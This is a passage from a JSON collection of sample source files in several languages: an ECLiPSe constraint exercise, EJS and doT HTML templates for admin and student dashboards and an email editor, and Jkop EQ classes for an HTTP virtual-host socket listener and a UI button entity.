left.age=right.age,all));\n\n//This should not generate a self join\noutput(join(namesTable, namesTable, left.age between right.age - 10 and right.age +10));\n"
  },
  {
    "path": "samples/ECLiPSe/or-constraint.ecl",
    "content": ":- lib(ic).\r\n\r\n/**\r\n * Question 1.11\r\n * vabs(?Val, ?AbsVal)\r\n */\r\nvabs(Val, AbsVal):-\r\n\tAbsVal #> 0,\r\n\t(\r\n\t\tVal #= AbsVal\r\n\t;\r\n\t\tVal #= -AbsVal\r\n\t),\r\n\tlabeling([Val, AbsVal]).\r\n\r\n/**\r\n * vabsIC(?Val, ?AbsVal)\r\n */\r\nvabsIC(Val, AbsVal):-\r\n\tAbsVal #> 0,\r\n\tVal #= AbsVal or Val #= -AbsVal,\r\n\tlabeling([Val, AbsVal]).\r\n\r\n/**\r\n * Question 1.12\r\n */\r\n% X #:: -10..10, vabs(X, Y).\r\n% X #:: -10..10, vabsIC(X, Y).\r\n\r\n/**\r\n * Question 1.13\r\n * faitListe(?ListVar, ?Taille, +Min, +Max)\r\n */\r\nfaitListe([], 0, _, _):-!.\r\nfaitListe([First|Rest], Taille, Min, Max):-\r\n\tFirst #:: Min..Max,\r\n\tTaille1 #= Taille - 1,\r\n\tfaitListe(Rest, Taille1, Min, Max).\r\n\r\n/**\r\n * Question 1.14\r\n * suite(?ListVar)\r\n */\r\nsuite([Xi, Xi1, Xi2]):-\r\n\tcheckRelation(Xi, Xi1, Xi2).\r\nsuite([Xi, Xi1, Xi2|Rest]):-\r\n\tcheckRelation(Xi, Xi1, Xi2),\r\n\tsuite([Xi1, Xi2|Rest]).\r\n\r\n/**\r\n * checkRelation(?Xi, ?Xi1, ?Xi2)\r\n */\r\ncheckRelation(Xi, Xi1, Xi2):-\r\n\tvabs(Xi1, VabsXi1),\r\n\tXi2 #= VabsXi1 - Xi.\r\n\r\n/**\r\n * Question 1.15\r\n * checkPeriode(+ListVar).\r\n */\r\n% TODO Any better solution?\r\ncheckPeriode(ListVar):-\r\n\tlength(ListVar, Length),\r\n\tLength < 10.\r\ncheckPeriode([X1, X2, X3, X4, X5, X6, X7, X8, X9, X10|Rest]):-\r\n\tX1 =:= X10,\r\n\tcheckPeriode([X2, X3, X4, X5, X6, X7, X8, X9, X10|Rest]).\r\n% faitListe(ListVar, 18, -9, 9), suite(ListVar), checkPeriode(ListVar). => 99 solutions\r\n\r\n\r\n/**\r\n * Tests\r\n */\r\n/*\r\nvabs(5, 5). => Yes\r\nvabs(5, -5). => No\r\nvabs(-5, 5). => Yes\r\nvabs(X, 5).\r\nvabs(X, AbsX). \r\nvabsIC(5, 5). => Yes\r\nvabsIC(5, -5). => No\r\nvabsIC(-5, 5). => Yes\r\nvabsIC(X, 5).\r\nvabsIC(X, AbsX).\r\n\r\nfaitListe(ListVar, 5, 1, 3). => 243 solutions\r\nfaitListe([_, _, _, _, _], Taille, 1, 3). => Taille = 5 !!!!!!!!!!!!!!!!\r\n\r\nfaitListe(ListVar, 18, -9, 9), suite(ListVar). => 99 solutions\r\n*/"
  },
  {
    "path": "samples/EJS/admin_index.jst",
    "content": "<!DOCTYPE html>\n<html>\n<head>\n\t{{#def.admin_head}}\n</head>\n<body>\n<div class=\"page-wrap\">\n\t{{#def.admin_header}}\n\t<div class=\"container\">\n\t\t<div class=\"max-width-4 mx-auto\">\n\t\t\t<div class=\"clearfix mxn1\">\n\t\t\t\t<div class=\"sm-col sm-col-12 px1 my2\">\n\t\t\t\t\t<div class=\"table\">\n\t\t\t\t\t\t<!-- table header -->\n\t\t\t\t\t\t<div class=\"clearfix table-row header\">\n\t\t\t\t\t\t\t<div class=\"sm-col sm-col-6 cell\">Title</div>\n\t\t\t\t\t\t\t<div class=\"sm-col sm-col-2 cell\">Author</div>\n\t\t\t\t\t\t\t<div class=\"sm-col sm-col-2 cell\">Date</div>\n\t\t\t\t\t\t\t<div class=\"sm-col sm-col-2 cell\">Last Update</div>\n\t\t\t\t\t\t</div>\n\t\t\t\t\t\t<!-- rows -->\n\t\t\t\t\t\t{{var fecha =  require('fecha');}}\n\t\t\t\t\t\t{{~it.posts :post:index}}\n\t\t\t\t\t\t<div class=\"clearfix table-row\">\n\t\t\t\t\t\t\t<div class=\"sm-col cell\" style=\"width: 48%;\"><a href=\"/admin/post/{{=post._id}}\">{{=post.title}}</a></div>\n\t\t\t\t\t\t\t<div class=\"sm-col\" style=\"width: 2%; padding-top: 1em;\"><a href=\"/{{=fecha.format(post.created_on, 'url')}}/{{=post.slug}}\"><i class=\"material-icons\">launch</i></a></div>\n\t\t\t\t\t\t\t<div class=\"sm-col sm-col-2 cell\">{{=post.author.fullName}}</div>\n\t\t\t\t\t\t\t<div class=\"sm-col sm-col-2 cell\">{{=fecha.format(post.created_on, 'regular')}}</div>\n\t\t\t\t\t\t\t<div class=\"sm-col sm-col-2 cell\">{{=fecha.format(post.last_update, 'regular')}}</div>\n\t\t\t\t\t\t</div>\n\t\t\t\t\t\t{{~}}\n\t\t\t\t\t</div>\n\t\t\t\t</div>\n\t\t\t</div>\n\t\t</div>\n\n\t\t<div class=\"max-width-4 mx-auto\">\n\t\t\t<div class=\"clearfix mxn1\">\n\t\t\t\t<div class=\"sm-col sm-col-12 md-col-6 px1\">\n\t\t\t\t\t<div class=\"table\">\n\t\t\t\t\t\t<!-- table header -->\n\t\t\t\t\t\t<div class=\"clearfix table-row header\">\n\t\t\t\t\t\t\t<div class=\"sm-col sm-col-12 cell center\" style=\"padding-left: 0;\">Site Settings</div>\n\t\t\t\t\t\t</div>\n\t\t\t\t\t\t<!-- rows -->\n\t\t\t\t\t\t<div class=\"clearfix table-row\">\n\t\t\t\t\t\t\t<div class=\"sm-col sm-col-6 cell\">Active template</div>\n\t\t\t\t\t\t\t<div class=\"sm-col sm-col-6 cell\">{{=it.site.template}}</div>\n\t\t\t\t\t\t</div>\n\t\t\t\t\t\t<div class=\"clearfix table-row\">\n\t\t\t\t\t\t\t<div class=\"sm-col sm-col-6 cell\">Site Name</div>\n\t\t\t\t\t\t\t<div class=\"sm-col sm-col-6 cell\">{{=it.site.name}}</div>\n\t\t\t\t\t\t</div>\n\t\t\t\t\t\t<div class=\"clearfix table-row\">\n\t\t\t\t\t\t\t<div class=\"sm-col sm-col-6 cell\">URL</div>\n\t\t\t\t\t\t\t<div class=\"sm-col sm-col-6 cell\">{{=it.site.url}}</div>\n\t\t\t\t\t\t</div>\n\t\t\t\t\t\t<div class=\"clearfix table-row\">\n\t\t\t\t\t\t\t<div class=\"sm-col sm-col-6 cell\">Description</div>\n\t\t\t\t\t\t\t<div class=\"sm-col sm-col-6 cell\">{{=it.site.description}}</div>\n\t\t\t\t\t\t</div>\n\t\t\t\t\t\t<div class=\"clearfix table-row\">\n\t\t\t\t\t\t\t<div class=\"sm-col sm-col-6 cell\">Keywords</div>\n\t\t\t\t\t\t\t<div class=\"sm-col sm-col-6 cell\">{{=it.site.keywords}}</div>\n\t\t\t\t\t\t</div>\n\t\t\t\t\t\t<div class=\"clearfix table-row\">\n\t\t\t\t\t\t\t<div class=\"sm-col sm-col-6 cell\">Google Analytics UID</div>\n\t\t\t\t\t\t\t<div class=\"sm-col sm-col-6 cell\">{{=it.site.gaUID}}</div>\n\t\t\t\t\t\t</div>\n\t\t\t\t\t\n\t\t\t\t\t</div>\n\t\t\t\t</div>\n\t\t\t\t<div class=\"sm-col sm-col-12 md-col-6 px1\">\n\t\t\t\t\t<div class=\"table\">\n\t\t\t\t\t\t<!-- table header -->\n\t\t\t\t\t\t<div class=\"clearfix table-row header\">\n\t\t\t\t\t\t\t<div class=\"sm-col sm-col-12 cell center\" style=\"padding-left: 0;\">Tag</div>\n\t\t\t\t\t\t</div>\n\t\t\t\t\t\t<!-- rows -->\n\t\t\t\t\t\t<div class=\"clearfix table-row\">\n\t\t\t\t\t\t\t<div class=\"sm-col sm-col-12 cell\"></div>\n\t\t\t\t\t\t</div>\n\t\t\t\t\t\n\t\t\t\t\t</div>\n\t\t\t\t</div>\n\t\t\t</div>\n\t\t</div>\n\t</div>\n\t\n</div>\n\t{{#def.footer}}\n\t<script type=\"text/javascript\" src=\"/assets/lib/prism.js\"></script>\n\t<script type=\"text/javascript\" src=\"/assets/lib/alertify.min.js\"></script>\n</body>\n</html>\n"
  },
  {
    "path": "samples/EJS/dash.ejs",
    "content": "<% include parts/depend %>\n\n<div class=\"row\">\n  <% if (user.primaryAccount == \"teacher\") { %>\n    <% include teacher/sidebar %>\n    <% include teacher/dashboard %>\n  <% } else if (user.primaryAccount == \"student\") { %>\n    <% include student/sidebar %>\n    <% include student/dashboard %>\n  <% } else { %>\n    <center><h2>There seems to be a problem</h2></center>\n  <% } %>\n</div>\n"
  },
  {
    "path": "samples/EJS/email_template.ect",
    "content": "<!DOCTYPE html>\n<html>\n<head>\n  <% include 'layout/header_assets.ect' %>\n  <link rel=\"stylesheet\" href=\"/css/layout.css\">\n  <link rel=\"stylesheet\" href=\"/css/parts.css\">\n</head>\n<body>\n  <% include 'layout/header.ect' %>\n  <section class=\"body\">\n    <% include 'layout/sidebar.ect' %>\n    <section class=\"main-content\">\n      <div class=\"content-wrap\">\n\n        <div class=\"content-header\">\n          <div class=\"row content-header--title-bar-one\">\n            <div class=\"col-xs-6\">\n              <h1><a href=\"#\">レイアウトタイプ</a>: Confirm</h1>\n            </div>\n            <div class=\"col-xs-4\">\n              <div style=\"line-height:30px;\">最終更新日: 15-04-28 14:29</div>\n            </div>\n            <div class=\"col-xs-2\" style=\"text-align: right;\">\n              <button class=\"btn btn-warning btn-sm\">保存</button>\n            </div>\n          </div>\n        </div>\n        <div class=\"content-main full-height\">\n          <form class=\"form-horizontal js-template-editor full-height\">\n            <div class=\"row form-group\">\n              <div class=\"col-sm-6\">\n                <input class=\"form-control\" required=\"required\" type=\"text\" value=\"\" name=\"email_template[subject]\" placeholder=\"件名: confirm: {{#order}}{{number}}{{/order}}\">\n              </div>\n              <div class=\"col-sm-6\">\n                <button type=\"button\" class=\"btn btn-default\">プレビュー</button>\n                <button type=\"button\" class=\"btn btn-default pull-right\" data-toggle=\"modal\" data-target=\"#myModal\">サンプルデータ編集</button>\n              </div>\n            </div>\n            <div class=\"row form-group\">\n              <div class=\"col-sm-6\">\n                <input class=\"form-control\" required=\"required\" type=\"text\" placeholder=\"From: xxx@example.com\" name=\"email_template[subject]\">\n              </div>\n              <div class=\"col-sm-6 full-height\">\n                <div class=\"btn-group\" role=\"group\" aria-label=\"...\">\n                  <button type=\"button\" class=\"btn btn-default\">HTML</button>\n                  <button type=\"button\" class=\"btn btn-default\">TEXT</button>\n                </div>\n              </div>\n            </div>\n            <div class=\"row full-height\">\n              <div class=\"col-sm-12 full-height\">\n                <div class=\"full-height\">\n                  <textarea class=\"form-control\" required=\"required\" rows=\"22\" data-template=\"html\" name=\"email_template[html]\" id=\"email_template_html\">\n{{#order}}\n  Hi {{email}}<br/>\n  Order: {{number}}<br/>\n  Thank you for your order.<br/>\n  <br/>\n  {{#line_items}}{{name}}: {{display_price}} x {{quantity}} = {{display_amount}}{{/line_items}}<br/>\n  -----------------------<br/>\n  Total: {{display_total}}\n{{/order}}\n  </textarea>\n                </div>\n              </div>\n            </div>\n\n            <div class=\"modal fade\" id=\"myModal\">\n              <div class=\"modal-dialog\">\n                <div class=\"modal-content\">\n                  <div class=\"modal-header\">\n                    <button type=\"button\" class=\"close\" data-dismiss=\"modal\" aria-label=\"Close\"><span aria-hidden=\"true\">&times;</span></button>\n                    <h4 class=\"modal-title\">Modal title</h4>\n                  </div>\n                  <div class=\"modal-body js-template-sample-data\" data-layout-type=\"confirm\" data-class-name=\"EmailTemplate\">\n                    <textarea style=\"height: 200px; width: 100%;\"></textarea>\n                  </div>\n                  <div class=\"modal-footer\">\n                    <button class=\"btn btn-default js-reset-btn\" href=\"#\">リセット</button>\n                    <button class=\"btn btn-default js-update-btn\" href=\"#\"><span class=\"translation_missing\" title=\"translation missing: ja.update\">Update</span></button>\n                  </div>\n                </div><!-- /.modal-content -->\n              </div><!-- /.modal-dialog -->\n            </div><!-- /.modal -->\n\n\n          </form>\n        </div>\n\n      </div>\n    </section>\n  </section>\n</body>\n</html>\n\n"
  },
  {
    "path": "samples/EJS/modules.ejs.t",
    "content": "<% \nconst moduleImports = [];\nmodules.forEach(mod => { %>\nimport * as <%- mod.saveName %> from '@<%- mod.packageName %>/<%- mod.name %>';\n<% });\n%>\nexport const modulePackages = [\n<%- modules.map(x => {\nreturn `  {\n    moduleName: \"${x.name}\",\n    module: ${x.saveName},\n    isEntry: ${x.isEntry},\n    isLibraryOnly: ${x.isLibraryOnly},\n    parentGahModule: ${x.parentGahModule ? \"\\\"\" + x.parentGahModule + \"\\\"\" : null}\n  }`;\n  }).join(',\\n') %>\n];\n\nexport const gahModules = [\n<%- modules.filter(x => !x.isLibraryOnly).map(x => '  ' + x.saveName + '.' + x.baseModuleName + x.staticModuleInit).join(',\\n') %>\n];\n"
  },
  {
    "path": "samples/EJS/page.ejs",
    "content": "<% include ../parts/depend %>\n\n<div class=\"row\">\n  <% include sidebar %>\n  <div class=\"col-lg-offset-3 col-lg-9 main-content\">\n    <div class=\"page-title\">\n      <h1>Pieces</h1>\n      <% if (pieces.length == 1) { %>\n        <p>You have\n          <strong>1</strong>\n          piece to practice</p>\n      <% } else { %>\n        <p>You have\n          <strong><%= pieces.length %></strong>\n          pieces to practice</p>\n      <% } %>\n    </div>\n    <div class=\"row\">\n      <% if (pieces == undefined || pieces.length == 0) { %>\n        <div class=\"error-main\">\n          <h1>No Pieces</h1>\n          <p>You have no\n            <strong>Pieces</strong>\n            assigned.</p>\n        </div>\n      <% } else { %>\n        <div class=\"col-lg-12 section-title\">\n          <div style=\"margin-top: 10px; margin-bottom: 10px;\" class=\"btn-group\" role=\"group\">\n            <button id=\"inProgressButton\" type=\"button\" class=\"btn btn-md btn-super-round btn-focus-off btn-primary btn-primary-active\">In Progress</button>\n            <button id=\"completedButton\" type=\"button\" class=\"btn btn-md btn-super-round btn-focus-off btn-purple\">Completed</button>\n          </div>\n        </div>\n\n        <div id=\"inProgressPieces\">\n          <% if (inProgressPieces == undefined || inProgressPieces.length == 0) { %>\n            <center>\n              <h2>No Pieces in Progress</h2>\n            </center>\n          <% } else { %>\n            <% for (var i = 0; i < inProgressPieces.length; i++) { %>\n              <div class=\"col-lg-6\">\n                <div class=\"box\">\n                  <div class=\"title\">\n                    <h1>\n                      <a href=\"/pieces/practice/<%= inProgressPieces[i].id %>\"><%= inProgressPieces[i].title %></a>\n                    </h1>\n                    <p>By\n                      <strong><%= inProgressPieces[i].author %></strong>\n                    </p>\n                    <p>\n                      Teacher:\n                      <strong><%= inProgressPieces[i].teacherName %></strong>\n                    </p>\n                    <p>Average Practice Time:\n                      <strong><%= inProgressPieces[i].averagePracticeTime %>\n                        mins</strong>\n                    </p>\n                    <a href=\"/pieces/practice/<%= inProgressPieces[i].id %>\" class=\"btn btn-success btn-block\">Practice\n                      <%= inProgressPieces[i].title %></a>\n                  </div>\n                </div>\n              </div>\n            <% } %>\n          <% } %>\n        </div>\n\n        <div id=\"completedPieces\" style=\"display: none;\">\n          <% if (completedPieces == undefined || completedPieces.length == 0) { %>\n            <center>\n              <h2>No Completed Pieces</h2>\n            </center>\n          <% } else { %>\n            <% for (var i = 0; i < completedPieces.length; i++) { %>\n              <div class=\"col-lg-6\">\n                <div class=\"box\">\n                  <div class=\"title\">\n                    <h1>\n                      <a href=\"/pieces/practice/<%= completedPieces[i].id %>\"><%= completedPieces[i].title %></a>\n                    </h1>\n                    <p>By\n                      <strong><%= completedPieces[i].author %></strong>\n                    </p>\n                    <p>\n                      Teacher:\n                      <strong><%= completedPieces[i].teacherName %></strong>\n                    </p>\n                    <p>Average Practice Time:\n                      <strong><%= completedPieces[i].averagePracticeTime %>\n                        mins</strong>\n                    </p>\n                    <a href=\"/pieces/practice/<%= completedPieces[i].id %>\" class=\"btn btn-success btn-block\">Practice\n                      <%= completedPieces[i].title %></a>\n                  </div>\n                </div>\n              </div>\n            <% } %>\n          <% } %>\n        </div>\n      <% } %>\n    </div>\n  </div>\n</div>\n"
  },
  {
    "path": "samples/EQ/HTTPServerVirtualHostListener.eq",
    "content": "\n/*\n * This file is part of Jkop\n * Copyright (c) 2016 Job and Esther Technologies, Inc.\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to deal\n * in the Software without restriction, including without limitation the rights\n * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n * copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n * \n * The above copyright notice and this permission notice shall be included in all\n * copies or substantial portions of the Software.\n * \n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\n * SOFTWARE.\n */\n\nIFNDEF(\"target_posix\")\n{\n\tpublic class HTTPServerVirtualHostListener : EventLoopReadListener\n\t{\n\t\tpublic static HTTPServerVirtualHostListener create(String name, HTTPServer server, String prefix = null) {\n\t\t\tLogger logger;\n\t\t\tif(server != null) {\n\t\t\t\tlogger = server.get_logger();\n\t\t\t}\n\t\t\tLog.error(\"Virtual hosts are not supported on this platform.\", logger);\n\t\t\treturn(null);\n\t\t}\n\n\t\tpublic void on_read_ready() {\n\t\t}\n\n\t\tpublic void close() {\n\t\t}\n\t}\n}\n\nELSE {\n\npublic class HTTPServerVirtualHostListener : LoggerObject, EventLoopReadListener\n{\n\tclass Client : LoggerObject, EventLoopReadListener\n\t{\n\t\tHTTPServer server;\n\t\tLocalSocket socket;\n\t\tEventLoopEntry ee;\n\n\t\tembed \"c\" {{{\n\t\t\t#include <unistd.h>\n\t\t\t#include <sys/types.h>\n\t\t\t#include <sys/socket.h>\n\t\t}}}\n\n\t\tpublic static Client create(HTTPServer server, LocalSocket socket) {\n\t\t\tif(server == null || socket == null) {\n\t\t\t\treturn(null);\n\t\t\t}\n\t\t\tvar eventloop = server.get_eventloop();\n\t\t\tif(eventloop == null) {\n\t\t\t\treturn(null);\n\t\t\t}\n\t\t\tvar v = new Client();\n\t\t\tv.set_logger(server.get_logger());\n\t\t\tv.server = server;\n\t\t\tv.socket = socket;\n\t\t\tv.ee = eventloop.entry_for_object(socket);\n\t\t\tif(v.ee == null) {\n\t\t\t\treturn(null);\n\t\t\t}\n\t\t\tv.ee.set_read_listener(v);\n\t\t\treturn(v);\n\t\t}\n\n\t\tpublic void close() {\n\t\t\tif(ee != null) {\n\t\t\t\tee.remove();\n\t\t\t\tee = null;\n\t\t\t}\n\t\t\tif(socket != null) {\n\t\t\t\tsocket.close();\n\t\t\t\tsocket = null;\n\t\t\t}\n\t\t\tserver = null;\n\t\t}\n\n\t\tpublic void on_read_ready() {\n\t\t\treceive_fd();\n\t\t\tclose();\n\t\t}\n\n\t\tprivate void receive_fd() {\n\t\t\tif(socket is FileDescriptor == false) {\n\t\t\t\treturn;\n\t\t\t}\n\t\t\tint lsfd = ((FileDescriptor)socket).get_fd();\n\t\t\tint r;\n\t\t\tint newfd = -1;\n\t\t\tembed \"c\" {{{\n\t\t\t\tchar buf[64];\n\t\t\t\tstruct msghdr msg;\n\t\t\t\tstruct iovec iov[1];\n\t\t\t\tssize_t n;\n\t\t\t\tunion {\n\t\t\t\t\tstruct cmsghdr cm;\n\t\t\t\t\tchar control[CMSG_SPACE(sizeof(int))];\n\t\t\t\t} control_un;\n\t\t\t\tstruct cmsghdr* cmptr;\n\t\t\t\tmsg.msg_control = control_un.control;\n\t\t\t\tmsg.msg_controllen = sizeof(control_un.control);\n\t\t\t\tmsg.msg_name = NULL;\n\t\t\t\tmsg.msg_namelen = 0;\n\t\t\t\tiov[0].iov_base = buf;\n\t\t\t\tiov[0].iov_len = 64;\n\t\t\t\tmsg.msg_iov = iov;\n\t\t\t\tmsg.msg_iovlen = 1;\n\t\t\t\tr = recvmsg(lsfd, &msg, 0);\n\t\t\t}}}\n\t\t\tif(r < 0) {\n\t\t\t\tlog_error(\"FAILED to recvmsg() from the local socket in virtual host receiver.\");\n\t\t\t\treturn;\n\t\t\t}\n\t\t\tembed \"c\" {{{\n\t\t\t\tif((cmptr = CMSG_FIRSTHDR(&msg)) != NULL && cmptr->cmsg_len == CMSG_LEN(sizeof(int))) {\n\t\t\t\t\tif(cmptr->cmsg_level == SOL_SOCKET && cmptr->cmsg_type == SCM_RIGHTS) {\n\t\t\t\t\t\tnewfd = *((int*)CMSG_DATA(cmptr));\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}}}\n\t\t\tif(newfd < 0) {\n\t\t\t\tlog_warning(\"No file descriptor was passed through the socket in virtual host receiver.\");\n\t\t\t\treturn;\n\t\t\t}\n\t\t\tvar newsock = TCPSocket.create();\n\t\t\tif(newsock == null) {\n\t\t\t\tembed \"c\" {{{ close(newfd); }}}\n\t\t\t\tlog_error(\"FAILED to create a new socket\");\n\t\t\t\treturn;\n\t\t\t}\n\t\t\tvar fds = newsock as FileDescriptorSocket;\n\t\t\tif(fds == null) {\n\t\t\t\tembed \"c\" {{{ close(newfd); }}}\n\t\t\t\tlog_error(\"TCPSocket is not a FileDescriptorSocket. Cannot set file descriptor.\");\n\t\t\t\treturn;\n\t\t\t}\n\t\t\tfds.set_fd(newfd);\n\t\t\tserver.on_new_client_socket(newsock);\n\t\t}\n\t}\n\n\tHTTPServer server;\n\tLocalSocket socket;\n\tEventLoopEntry ee;\n\tString socketprefix;\n\n\tpublic static HTTPServerVirtualHostListener create(String name, HTTPServer server, String prefix = null) {\n\t\tif(server == null) {\n\t\t\treturn(null);\n\t\t}\n\t\tvar v = new HTTPServerVirtualHostListener();\n\t\tv.server = server;\n\t\tv.socketprefix = prefix;\n\t\tv.set_logger(server.get_logger());\n\t\tif(v.start(name) == false) {\n\t\t\tv = null;\n\t\t}\n\t\treturn(v);\n\t}\n\n\tpublic bool start(String name) {\n\t\tif(String.is_empty(name) || server == null) {\n\t\t\treturn(false);\n\t\t}\n\t\tsocket = LocalSocket.create();\n\t\tif(socket == null) {\n\t\t\tlog_error(\"Cannot create local socket\");\n\t\t\treturn(false);\n\t\t}\n\t\tvar pp = socketprefix;\n\t\tif(String.is_empty(pp)) {\n\t\t\tpp = \"sympathy_vhost_\";\n\t\t}\n\t\tvar socketname = \"%s%s\".printf().add(pp).add(name).to_string();\n\t\tif(socket != null) {\n\t\t\tif(socket.listen(socketname) == false) {\n\t\t\t\tsocket = null;\n\t\t\t}\n\t\t}\n\t\tif(socket == null) {\n\t\t\tlog_error(\"FAILED to listen to local socket `%s'\".printf().add(socketname));\n\t\t\treturn(false);\n\t\t}\n\t\tvar event_loop = server.get_eventloop();\n\t\tif(event_loop == null) {\n\t\t\tlog_error(\"No eventloop\");\n\t\t\treturn(false);\n\t\t}\n\t\tee = event_loop.entry_for_object(socket);\n\t\tif(ee == null) {\n\t\t\tlog_error(\"Failed to register socket with eventloop\");\n\t\t\treturn(false);\n\t\t}\n\t\tee.set_read_listener(this);\n\t\tlog_debug(\"HTTPServerVirtualHostListener: Listening for virtual host `%s'\".printf().add(name));\n\t\treturn(true);\n\t}\n\n\tpublic void close() {\n\t\tif(ee != null) {\n\t\t\tee.remove();\n\t\t\tee = null;\n\t\t}\n\t\tif(socket != null) {\n\t\t\tsocket.close();\n\t\t\tsocket = null;\n\t\t}\n\t\tserver = null;\n\t}\n\n\tpublic void on_read_ready() {\n\t\tvar ns = socket.accept();\n\t\tif(ns != null) {\n\t\t\tClient.create(server, ns);\n\t\t}\n\t}\n}\n\n}\n"
  },
  {
    "path": "samples/EQ/SEButtonEntity.eq",
    "content": "\n/*\n * This file is part of Jkop\n * Copyright (c) 2016 Job and Esther Technologies, Inc.\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to deal\n * in the Software without restriction, including without limitation the rights\n * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n * copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n * \n * The above copyright notice and this permission notice shall be included in all\n * copies or substantial portions of the Software.\n * \n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\n * SOFTWARE.\n */\n\npublic class SEButtonEntity : SESpriteEntity, SEPointerListener\n{\n\tclass SEImageButtonEntity : SEButtonEntity\n\t{\n\t\tproperty SEImage image_normal;\n\t\tproperty SEImage image_hover;\n\t\tproperty SEImage image_pressed;\n\n\t\tpublic void update() {\n\t\t\tif(get_pressed()) {\n\t\t\t\tvar img = image_pressed;\n\t\t\t\tif(img == null) {\n\t\t\t\t\timg = image_hover;\n\t\t\t\t}\n\t\t\t\tif(img == null) {\n\t\t\t\t\timg = image_normal;\n\t\t\t\t}\n\t\t\t\tset_image(img);\n\t\t\t}\n\t\t\telse if(get_has_pointer()) {\n\t\t\t\tvar img = image_hover;\n\t\t\t\tif(img == null) {\n\t\t\t\t\timg = image_normal;\n\t\t\t\t}\n\t\t\t\tset_image(img);\n\t\t\t}\n\t\t\telse {\n\t\t\t\tset_image(image_normal);\n\t\t\t}\n\t\t}\n\t}\n\n\tclass SETextButtonEntity : SEButtonEntity\n\t{\n\t\tproperty String button_text;\n\t\tproperty String normal_font;\n\t\tproperty String hover_font;\n\t\tproperty String pressed_font;\n\n\t\tpublic void update() {\n\t\t\tif(get_pressed()) {\n\t\t\t\tvar ff = pressed_font;\n\t\t\t\tif(String.is_empty(ff)) {\n\t\t\t\t\tff = hover_font;\n\t\t\t\t}\n\t\t\t\tif(String.is_empty(ff)) {\n\t\t\t\t\tff = normal_font;\n\t\t\t\t}\n\t\t\t\tset_text(button_text, ff);\n\t\t\t}\n\t\t\telse if(get_has_pointer()) {\n\t\t\t\tvar ff = hover_font;\n\t\t\t\tif(String.is_empty(ff)) {\n\t\t\t\t\tff = normal_font;\n\t\t\t\t}\n\t\t\t\tset_text(button_text, ff);\n\t\t\t}\n\t\t\telse {\n\t\t\t\tset_text(button_text, normal_font);\n\t\t\t}\n\t\t}\n\t}\n\n\tpublic static SEButtonEntity for_image(SEImage img) {\n\t\treturn(SEButtonEntity.for_images(img, null, null));\n\t}\n\n\tpublic static SEButtonEntity for_images(SEImage normal, SEImage hover, SEImage pressed) {\n\t\treturn(new SEImageButtonEntity().set_image_normal(normal).set_image_hover(hover)\n\t\t\t.set_image_pressed(pressed));\n\t}\n\n\tpublic static SEButtonEntity for_text(String text, String normal_font = null, String hover_font = null, String pressed_font = null) {\n\t\treturn(new SETextButtonEntity().set_button_text(text).set_normal_font(normal_font).set_hover_font(hover_font)\n\t\t\t.set_pressed_font(pressed_font));\n\t}\n\n\tproperty SEMessageListener listener;\n\tproperty Object data;\n\tbool pressed = false;\n\tbool has_pointer = false;\n\n\tpublic bool get_pressed() {\n\t\treturn(pressed);\n\t}\n\n\tpublic bool get_has_pointer() {\n\t\treturn(has_pointer);\n\t}\n\n\tpublic void initialize(SEResourceCache rsc) {\n\t\tbase.initialize(rsc);\n\t\tupdate();\n\t}\n\n\tpublic virtual void update() {\n\t}\n\n\tpublic virtual void on_pointer_enter(SEPointerInfo pi) {\n\t\tif(has_pointer) {\n\t\t\treturn;\n\t\t}\n\t\thas_pointer = true;\n\t\tupdate();\n\t}\n\n\tpublic virtual void on_pointer_leave(SEPointerInfo pi) {\n\t\tif(has_pointer == false && pressed == false) {\n\t\t\treturn;\n\t\t}\n\t\thas_pointer = false;\n\t\tpressed = false;\n\t\tupdate();\n\t}\n\n\tpublic void on_pointer_move(SEPointerInfo pi) {\n\t\tif(pi.is_inside(get_x(), get_y(), get_width(), get_height())) {\n\t\t\tif(has_pointer == false) {\n\t\t\t\ton_pointer_enter(pi);\n\t\t\t}\n\t\t}\n\t\telse {\n\t\t\tif(has_pointer) {\n\t\t\t\ton_pointer_leave(pi);\n\t\t\t}\n\t\t}\n\t}\n\n\tpublic void on_pointer_press(SEPointerInfo pi) {\n\t\tif(pressed) {\n\t\t\treturn;\n\t\t}\n\t\tif(pi.is_inside(get_x(), get_y(), get_width(), get_height()) == false) {\n\t\t\treturn;\n\t\t}\n\t\tpressed = true;\n\t\tupdate();\n\t}\n\n\tpublic void on_pointer_release(SEPointerInfo pi) {\n\t\tif(pressed == false) {\n\t\t\treturn;\n\t\t}\n\t\tif(pi.is_inside(get_x(), get_y(), get_width(), get_height()) == false) {\n\t\t\treturn;\n\t\t}\n\t\ton_pointer_click(pi);\n\t\tpressed = false;\n\t\tupdate();\n\t}\n\n\tpublic virtual void on_pointer_click(SEPointerInfo pi) {\n\t\tif(listener != null) {\n\t\t\tlistener.on_message(data);\n\t\t}\n\t}\n}\n"
  },
  {
    "path": "samples/EQ/String.eq",
